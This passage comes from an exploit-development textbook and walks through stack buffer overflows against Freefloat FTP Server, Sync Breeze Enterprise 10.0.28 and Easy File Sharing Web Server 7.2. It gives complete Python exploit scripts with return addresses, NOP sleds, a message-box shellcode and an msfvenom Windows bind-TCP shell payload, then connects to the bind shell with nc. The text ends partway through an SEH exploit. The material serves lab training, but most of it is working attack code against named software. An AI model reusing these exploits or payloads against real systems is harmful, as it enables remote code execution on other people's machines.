Let's re-run the Freefloat FTP Server, attach it to the Immunity Debugger, and hit the run
program icon. Then, run the exploit:

$ ./exploit.py
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The program will crash again; then, from the command bar, enter !mona findmsp:

According to the Rapid7 blog at https:/ / blog. rapid7. com/ 2011/ 10/ 11/monasploit/ ,
the findmsp command does the following:

Looks for the first 8 bytes of the cyclic pattern anywhere in the process memory
(normal or unicode-expanded).
Looks at all the registers and lists the registers that either point at, or are
overwritten with, a part of the pattern. It will show the offset and the length of
the pattern in the memory after that offset if the registers point into the pattern.
Looks for pointers into a part of the pattern on the stack (shows offset and
length).
Looks for artifacts of the pattern on the stack (shows offset and length).
Queries the SEH chain and determines whether it was overwritten with a cyclic
pattern or not.
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After that, hit Enter:

This analysis tells us the exact offset, which is 230. It also tells us that the best place to hold
a shellcode would be inside the stack and will use the ESP register since none of the
patterns got out from the stack. So, let's continue as we did before.

Our exploit should look like this:
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Now, let's find the address to JMP ESP:

Then, search for JMP ESP:

Now we need to choose any address here to perform a jump to ESP. I'll select 75BE0690.
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For the shellcode, let's choose something else that is small; for example, let's try this
shellcode at https:/ /www. exploit- db. com/ exploits/ 40245/ , which generates a message
box on the victim's machine: 

"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x
31\xdb\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\
x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41
\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xce\x8b\x14\x9
6\x01\xca\x89\xd6\x89\xcf\x31\xdb\x53\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x
72\x68\x4c\x6f\x61\x64\x54\x51\xff\xd2\x83\xc4\x10\x31\xc9\x68\x6c\x6c\x42\
x42\x88\x4c\x24\x02\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x54\xff\xd0\x83
\xc4\x0c\x31\xc9\x68\x6f\x78\x41\x42\x88\x4c\x24\x03\x68\x61\x67\x65\x42\x6
8\x4d\x65\x73\x73\x54\x50\xff\xd6\x83\xc4\x0c\x31\xd2\x31\xc9\x52\x68\x73\x
67\x21\x21\x68\x6c\x65\x20\x6d\x68\x53\x61\x6d\x70\x8d\x14\x24\x51\x68\x68\
x65\x72\x65\x68\x68\x69\x20\x54\x8d\x0c\x24\x31\xdb\x43\x53\x52\x51\x31\xdb
\x53\xff\xd0\x31\xc9\x68\x65\x73\x73\x41\x88\x4c\x24\x03\x68\x50\x72\x6f\x6
3\x68\x45\x78\x69\x74\x8d\x0c\x24\x51\x57\xff\xd6\x31\xc9\x51\xff\xd0"

So, our final shellcode should look like this:

Let's create our final exploit:

#!/usr/bin/python
import socket
import sys

shellcode =
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x
31\xdb\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\
x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41
\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xce\x8b\x14\x9
6\x01\xca\x89\xd6\x89\xcf\x31\xdb\x53\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x
72\x68\x4c\x6f\x61\x64\x54\x51\xff\xd2\x83\xc4\x10\x31\xc9\x68\x6c\x6c\x42\
x42\x88\x4c\x24\x02\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x54\xff\xd0\x83
\xc4\x0c\x31\xc9\x68\x6f\x78\x41\x42\x88\x4c\x24\x03\x68\x61\x67\x65\x42\x6
8\x4d\x65\x73\x73\x54\x50\xff\xd6\x83\xc4\x0c\x31\xd2\x31\xc9\x52\x68\x73\x
67\x21\x21\x68\x6c\x65\x20\x6d\x68\x53\x61\x6d\x70\x8d\x14\x24\x51\x68\x68\
x65\x72\x65\x68\x68\x69\x20\x54\x8d\x0c\x24\x31\xdb\x43\x53\x52\x51\x31\xdb
\x53\xff\xd0\x31\xc9\x68\x65\x73\x73\x41\x88\x4c\x24\x03\x68\x50\x72\x6f\x6
3\x68\x45\x78\x69\x74\x8d\x0c\x24\x51\x57\xff\xd6\x31\xc9\x51\xff\xd0";

junk = 'A'*230
eip = '\x90\x06\xbe\x75'
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nops = '\x90'*10
injection = junk+eip+nops+shellcode

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+injection+'\r\n')

Now we are all set; let's re-run just the Freefloat FTP Server, and then run our exploit:

$ ./exploit.py

The output of the preceding command can be seen in the following screenshot:

Our exploit worked!

An example
What I want you to do is to try this example but with a different parameter, for example,
the MKD parameter, and I'll give you a chunk code to start with:

#!/usr/bin/python
import socket
import sys

junk = ' '

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD' + junk +'\r\n')
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s.recv(1024)
s.send('QUIT\r\n')
s.close()

It's exactly like this scenario, so try to be more creative.

Summary 
In this chapter, we did a real and full scenario starting from fuzzing. We then looked at how
to control the EIP, and then inject and execute a shellcode.

In the next chapter, we will use a real-world scenario but from a different approach, which
is intercepting and fuzzing a parameter inside the HTTP header.
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Real-World Scenarios – Part 2

In this chapter, we will practice exploit development but from a different approach, which
is our vulnerable parameter that will be inside the HTTP header. We will look at how to
intercept and see the actual content of the HTTP header.

The topics covered in this chapter are as follows:

Sync Breeze Enterprise
Fuzzing
Controlling the instruction pointer
Injecting shellcode

Sync Breeze Enterprise
Our scenario today will be Sync Breeze Enterprise V.10.0.28. You can see the exploit
at https://www.exploit- db. com/ exploits/ 42928/  and you can download the vulnerable
version from it or https:/ /www. exploit- db.com/ apps/
959f770895133edc4cf65a4a02d12da8- syncbreezeent_ setup_ v10. 0.28. exe.
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Download and install it. Then open it and go to Tools | Advanced Options | Server. Make
sure that Enable Web Server on Port: 80 is activated:

Save the changes. Then, from our attacking machine and via Firefox, let's connect to this
service using port 80, which gives us this page:
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Now, let's try to perform some fuzzing on the login's parameter:

 

Fuzzing
Now, let's generate some A characters using Python:
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Let's copy this string and use it as input for this login form:

Then, let's copy the actual input from this window and get the length of the actual input: 

The actual length of the input is 64 and we injected 100. There is something at the client
side that prevents us from injecting more than 64 characters. Let's confirm it just by right-
clicking on the username text input and then navigating to Inspect | Elements:
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We can simply change the maxlength="64" value and continue with the fuzzing, but we
need to build our exploit. Let's try to look inside the HTTP header, using any proxy
application, such as Burp Suite or OWASP Zed Attack Proxy (ZAP). I'm going to use Burp
Suite here and set up a proxy so that I can intercept this HTTP header. 

Start Burp Suite, then go to Proxy | Options, and make sure that Burp Suite is listening on
port 8080 on the loopback address 127.0.0.1:

Then, through your browser, set a proxy on the loopback address 127.0.0.1 using port
8080:
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Make the login page ready and activate the intercept in Burp Suite by navigating to Proxy |
Intercept:

Now, the intercept is ready. Let's inject any number of characters in the login form and then
click on Login and get back to Burp Suite:
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Close Burp Suite. Set the proxy back to normal and let's build our fuzzing code using this
header and fuzzing the username parameter:

#!/usr/bin/python
import socket

junk =

payload="username="+junk+"&password=A"

buffer="POST /login HTTP/1.1\r\n"
buffer+="Host: 192.168.129.128\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0\r\n"
buffer+="Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r\n"
buffer+="Referer: http://192.168.129.128/login\r\n"
buffer+="Connection: close\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: "+str(len(payload))+"\r\n"
buffer+="\r\n"
buffer+=payload

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.129.128", 80))
s.send(buffer)
s.close()

Let's start with 300:

junk = 'A'*300
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Now, attach Sync Breeze to the Immunity Debugger (run the Immunity Debugger as an
administrator):

Make sure to attach it to the server (syncbrs), not the client (syncbrc), then hit the run
program.

Now, start the exploit code on our attacking machine:
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Nothing happened. Let's increase the fuzzing value to 700:

junk = 'A'*700

Then, re-run the exploit:

Again nothing happened. Let's increase the fuzzing value to 1000:

junk = 'A'*1000

Now, re-run the exploit:
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It worked! Let's take a look at the registers too:

There are the A characters in the stack: 
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Controlling the instruction pointer
Okay, perfect. Let's create the pattern to get the offset of the EIP:

$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_create.rb -l 1000

Now, reset the junk value to the new pattern:

junk =
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac
4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae
9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah
4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj
9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am
4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao
9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar
4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At
9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw
4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay
9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb
4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd
9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg
4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'

Close the Immunity Debugger and go to Task Manager | Services | Services...; now,
select Sync Breeze Enterprise and then select Start to start the service again:
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Then, make sure that the program is running and connected:

Now, run the Immunity Debugger (as an administrator) again, attach syncbrs, and hit the
run program.

Then, run the exploit from the attacking machine:

The EIP value now is 42306142; let's locate this exact offset of EIP:

$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_offset.rb -q 42306142 -l 1000
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The output for the preceding command can be seen in the following screenshot: 

Also, we could use the mona plugin inside the Immunity Debugger:

!mona findmsp

The output of the preceding command can be seen in the following screenshot: 

Let's confirm:

#!/usr/bin/python
import socket

junk = 'A'*780
eip = 'B'*4
pad = 'C'*(1000-780-4)
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injection = junk + eip + pad

payload="username="+injection+"&password=A"
buffer="POST /login HTTP/1.1\r\n"
buffer+="Host: 192.168.129.128\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0\r\n"
buffer+="Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r\n"
buffer+="Referer: http://192.168.129.128/login\r\n"
buffer+="Connection: close\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: "+str(len(payload))+"\r\n"
buffer+="\r\n"
buffer+=payload

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.129.128", 80))
s.send(buffer)
s.close()

Close the Immunity Debugger and start the Sync Breeze Enterprise service and make sure
the program is running and connected. Then, start the Immunity Debugger (as an
administrator), attach syncbrs, and hit the run program.

Then, re-run the exploit:
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Now, we can control the instruction pointer:

Injecting shell code 
So, our final injection should look like this:

Close the Immunity Debugger and start the Sync Breeze Enterprise service and make sure
the program is running and connected. Then start the Immunity Debugger, attach syncbrs,
and hit the run program.
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Okay, let's find JMP ESP:

Then, search for JMP ESP:



Real-World Scenarios – Part 2 Chapter 10

[ 289 ]

We got a long list of them; let's just pick one, 10090c83:

We selected this address because this location is persistent to the
application (libspp.dll). If we selected an address related to the system
(such as SHELL32.dll or USER32.dll), then that address would change
every time the system reboots. As we saw in the previous chapter, it
would only work in the runtime and would be useless when the system
reboots.

eip = '\x83\x0c\x09\x10'

Let's also set up the NOP sled:

nops = '\x90'*20

Now, let's generate a bind TCP shell code on port 4321:

$ msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=4321 -
b '\x00\x26\x25\x0A\x2B\x3D\x0D' -f python

The output for the preceding command can be seen in the following screenshot: 
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Our final exploit code should look like this:

#!/usr/bin/python
import socket

buf = ""
buf += "\xda\xd8\xd9\x74\x24\xf4\xba\xc2\xd2\xd2\x3c\x5e\x29"
buf += "\xc9\xb1\x53\x31\x56\x17\x83\xee\xfc\x03\x94\xc1\x30"
buf += "\xc9\xe4\x0e\x36\x32\x14\xcf\x57\xba\xf1\xfe\x57\xd8"
buf += "\x72\x50\x68\xaa\xd6\x5d\x03\xfe\xc2\xd6\x61\xd7\xe5"
buf += "\x5f\xcf\x01\xc8\x60\x7c\x71\x4b\xe3\x7f\xa6\xab\xda"
buf += "\x4f\xbb\xaa\x1b\xad\x36\xfe\xf4\xb9\xe5\xee\x71\xf7"
buf += "\x35\x85\xca\x19\x3e\x7a\x9a\x18\x6f\x2d\x90\x42\xaf"
buf += "\xcc\x75\xff\xe6\xd6\x9a\x3a\xb0\x6d\x68\xb0\x43\xa7"
buf += "\xa0\x39\xef\x86\x0c\xc8\xf1\xcf\xab\x33\x84\x39\xc8"
buf += "\xce\x9f\xfe\xb2\x14\x15\xe4\x15\xde\x8d\xc0\xa4\x33"
buf += "\x4b\x83\xab\xf8\x1f\xcb\xaf\xff\xcc\x60\xcb\x74\xf3"
buf += "\xa6\x5d\xce\xd0\x62\x05\x94\x79\x33\xe3\x7b\x85\x23"
buf += "\x4c\x23\x23\x28\x61\x30\x5e\x73\xee\xf5\x53\x8b\xee"
buf += "\x91\xe4\xf8\xdc\x3e\x5f\x96\x6c\xb6\x79\x61\x92\xed"
buf += "\x3e\xfd\x6d\x0e\x3f\xd4\xa9\x5a\x6f\x4e\x1b\xe3\xe4"
buf += "\x8e\xa4\x36\x90\x86\x03\xe9\x87\x6b\xf3\x59\x08\xc3"
buf += "\x9c\xb3\x87\x3c\xbc\xbb\x4d\x55\x55\x46\x6e\x49\x47"
buf += "\xcf\x88\x03\x97\x86\x03\xbb\x55\xfd\x9b\x5c\xa5\xd7"
buf += "\xb3\xca\xee\x31\x03\xf5\xee\x17\x23\x61\x65\x74\xf7"
buf += "\x90\x7a\x51\x5f\xc5\xed\x2f\x0e\xa4\x8c\x30\x1b\x5e"
buf += "\x2c\xa2\xc0\x9e\x3b\xdf\x5e\xc9\x6c\x11\x97\x9f\x80"
buf += "\x08\x01\xbd\x58\xcc\x6a\x05\x87\x2d\x74\x84\x4a\x09"
buf += "\x52\x96\x92\x92\xde\xc2\x4a\xc5\x88\xbc\x2c\xbf\x7a"
buf += "\x16\xe7\x6c\xd5\xfe\x7e\x5f\xe6\x78\x7f\x8a\x90\x64"
buf += "\xce\x63\xe5\x9b\xff\xe3\xe1\xe4\x1d\x94\x0e\x3f\xa6"
buf += "\xa4\x44\x1d\x8f\x2c\x01\xf4\x8d\x30\xb2\x23\xd1\x4c"
buf += "\x31\xc1\xaa\xaa\x29\xa0\xaf\xf7\xed\x59\xc2\x68\x98"
buf += "\x5d\x71\x88\x89"

junk = 'A'*780
eip = '\x83\x0c\x09\x10'
nops = '\x90'*20

injection = junk + eip + nops + buf

payload="username="+injection+"&password=A"

buffer="POST /login HTTP/1.1\r\n"
buffer+="Host: 192.168.129.128\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0\r\n"
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buffer+="Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r   2;n"
buffer+="Referer: http://192.168.129.128/login\r\n"
buffer+="Connection: close\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: "+str(len(payload))+"\r\n"
buffer+="\r\n"
buffer+=payload

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.129.128", 80))
s.send(buffer)
s.close()

Ready! Let's close the Immunity Debugger and start the Sync Breeze Enterprise service;
then, run the exploit.

Now, connect the victim machine using the nc command: 

$ nc 192.168.129.128 4321

The output for the preceding command can be seen in the following screenshot: 

It worked!
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Summary 
In this chapter, we performed the same steps as we did in the previous chapter, but we
added a small part related to the HTTP header. What I want you to do is to navigate in
www.exploit-db.com, try to find any buffer overflow, and make your own exploits as we
did here. The more you practice, the more you will master this attack!

In the next chapter, we will take a look at a complete practical example of structured
exception handling (SEH).

http://www.exploit-db.com


11
Real-World Scenarios – Part 3

Here we go with our final practical part of this book. It takes a different approach, focusing
on the structured exception handling (SEH) based buffer overflow, and is also based on the
HTTP header, but using the GET request.

Easy File Sharing Web Server
Our target here will be the Easy File Sharing Web Server 7.2. You can find the exploit
at https://www.exploit- db. com/ exploits/ 39008/ , and you can download the vulnerable
application from https:/ /www. exploit- db.com/ apps/
60f3ff1f3cd34dec80fba130ea481f31- efssetup. exe.

Download and install the application; if you did this in the previous lab, then we have to
turn off the web server in Sync Breeze Enterprise because we need port 80.
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Open Sync Breeze Enterprise and navigate to Tools | Advanced Options... | Server, and
make sure that Enable Web Server on Port is disabled:

Click on Save to save the changes and close it.

Open Easy File Sharing Web Server:
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Click on Try it!. When the application opens, click on Start in the top-left corner:
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Fuzzing 
Our parameter is the GET parameter; look at the following screenshot: 

The / after GET is our parameter; let's build our fuzzing code:

#!/usr/bin/python
import socket

junk =

s = socket.socket()
s.connect(('192.168.129.128',80))
s.send("GET " + junk + " HTTP/1.0\r\n\r\n")
s.close()

And on our victim machine, start the Immunity Debugger as the administrator and attach
to fsws:
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Let's start with a fuzzing value of 1000:

junk = 'A'*1000

Then, run the exploit:

Nothing happened; let's increase it to 3000:

junk = 'A'*3000



Real-World Scenarios – Part 3 Chapter 11

[ 298 ]

Then, once again run the exploit:

Once again, it's the same; let's try 5000:

junk = 'A'*5000

Then, once again, run the exploit:
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Also, scroll down in the stack window; you will see that we managed to overflow the SEH
and nSEH: 

We can confirm that by navigating to View | SEH chain or (Alt + S):

Controlling SEH
Now, let's try to get the offset of the SEH by creating the pattern by using Metasploit:

$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_create.rb -l 5000
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The exploit should look like this:

#!/usr/bin/python
import socket

junk =
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac
4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae
9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah
4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj
9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am
4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao
9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar
4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At
9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw
4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay
9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb
4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd
9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg
4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi
9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl
4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn
9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq
4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs
9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv
4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx
9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca
4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc
9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf
4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch
9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck
4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm
9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp
4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr
9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu
4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw
9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz
4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db
9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De
4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg
9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj
4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl
9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do
4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq
9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt
4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv
9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy
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4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea
9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed
4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef
9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei
4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek
9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En
4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep
9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es
4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu
9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex
4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez
